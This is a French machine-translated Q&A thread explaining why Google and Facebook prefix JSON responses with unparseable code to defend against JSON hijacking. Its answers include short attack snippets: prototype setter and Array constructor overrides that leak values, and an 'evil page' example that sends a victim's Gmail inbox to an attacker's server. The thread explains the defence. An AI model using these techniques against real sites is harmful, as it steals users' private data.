web-dev-qa-db-fra.com

Pourquoi les gens mettent du code comme "throw 1; <Don't be evil>" et "for (;;);" devant les réponses de json?

Duplicata possible:
Pourquoi Google précède-t-il while (1); à leurs réponses JSON?

Google retourne json comme ceci:

throw 1; <dont be evil> { foo: bar}

et Facebook ajax a json comme ceci:

for(;;); {"error":0,"errorSummary": ""}
  • Pourquoi mettent-ils du code qui arrêterait l'exécution et rendrait json invalide?
  • Comment l'analysent-ils s'il n'est pas valide et se bloqueraient si vous essayiez de l'évaluer?
  • Le retirent-ils simplement de la chaîne (cela semble cher)?
  • Y a-t-il des avantages de sécurité à cela?

En réponse à des fins de sécurité:

Si le grattoir se trouve sur un autre domaine, ils devraient utiliser une balise script pour obtenir les données car XHR ne fonctionnera pas entre les domaines. Même sans la for(;;); comment l'attaquant obtiendrait-il les données? Il n'est pas affecté à une variable, ne serait-il pas simplement récupéré parce qu'il n'y a pas de références?

Fondamentalement, pour obtenir les données entre domaines, ils devraient le faire

<script src="http://target.com/json.js"></script>

Mais même sans le script de crash ajouté, l'attaquant ne peut utiliser aucune des données Json sans qu'elles soient affectées à une variable à laquelle vous pouvez accéder globalement (ce n'est pas le cas dans ces cas). Le code de plantage ne fait rien car, sans lui, il doit utiliser des scripts côté serveur pour utiliser les données de son site.

207

Même sans la for(;;); comment l'attaquant obtiendrait-il les données?

Les attaques sont basées sur la modification du comportement des types intégrés, en particulier Object et Array, en modifiant leur fonction constructeur ou son prototype. Ensuite, lorsque le JSON ciblé utilise un {...} ou [...] construct, ils seront les propres versions de l'attaquant de ces objets, avec un comportement potentiellement inattendu.

Par exemple, vous pouvez pirater une propriété setter dans Object, ce qui trahirait les valeurs écrites en littéraux d'objet:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

Puis quand un <script> a été pointé sur un JSON qui utilisait ce nom de propriété:

{"x": "hello"}

la valeur "hello" serait divulgué.

La façon dont les littéraux de tableau et d'objet provoquent l'appel des setters est controversée. Firefox a supprimé le comportement de la version 3.5, en réponse à des attaques publiées sur des sites Web de haut niveau. Cependant, au moment de la rédaction, Safari (4) et Chrome (5) sont toujours vulnérables à cela.

Une autre attaque que tous les navigateurs interdisent désormais était de redéfinir les fonctions des constructeurs:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

Et pour l'instant, l'implémentation des propriétés d'IE8 (basée sur la norme ECMAScript Fifth Edition et Object.defineProperty) ne fonctionne pas actuellement sur Object.prototype ou Array.prototype.

Mais en plus de protéger les anciens navigateurs, il se peut que les extensions de JavaScript provoquent plus de fuites potentielles de type similaire à l'avenir, et dans ce cas, les paillettes devraient également protéger contre celles-ci.

186
bobince

Considérez que, après avoir vérifié votre compte GMail, vous allez visiter ma page maléfique:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

Ce qui va arriver maintenant, c'est que le code Javascript qui vient de Google - que le demandeur pensait être bénin et immédiatement hors de portée - sera en fait publié sur mon site diabolique. Supposons que l'URL demandée dans la balise de script envoie (car votre navigateur présentera le cookie approprié, Google pensera correctement que vous êtes connecté à votre boîte de réception):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

Maintenant, je publierai une version sérialisée de cet objet sur mon mauvais serveur. Merci!

Le moyen d'empêcher que cela ne se produise consiste à supprimer vos réponses JSON et à les supprimer lorsque vous, du même domaine, pouvez manipuler ces données. Si vous aimez cette réponse, veuillez accepter celle publiée par bobince.

57
Jesse Dhillon

[~ # ~] modifier [~ # ~]

Ces chaînes sont communément appelées "cruches inanalysables" et elles sont utilisées pour corriger une vulnérabilité de fuite d'informations qui affecte la spécification JSON. Cette attaque est du monde réel et ne vulnérabilité dans gmail a été découverte par Jeremiah Grossman . Mozilla pense également qu'il s'agit d'une vulnérabilité dans la spécification JSON et elle a été corrigée dans Firefox . Cependant, parce que ce problème affecte toujours d'autres navigateurs, cette "cruauté insaisissable" est requise car il s'agit d'un correctif compatible.

La réponse de Bobice a une explication technique de cette attaque et elle est correcte.

23
rook

Comment l'analysent-ils s'il n'est pas valide et se bloqueraient si vous essayiez de l'évaluer?

C'est une fonctionnalité qui planterait si vous essayiez de eval. eval autorise le code JavaScript arbitraire, qui pourrait être utilisé pour une attaque de script intersite.

Le retirent-ils simplement de la chaîne (cela semble cher)?

J'imagine bien. Probablement quelque chose comme:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

La coupure "ne soyez pas mal" empêche les développeurs d'utiliser eval directement au lieu d'une alternative plus sécurisée.

5
dan04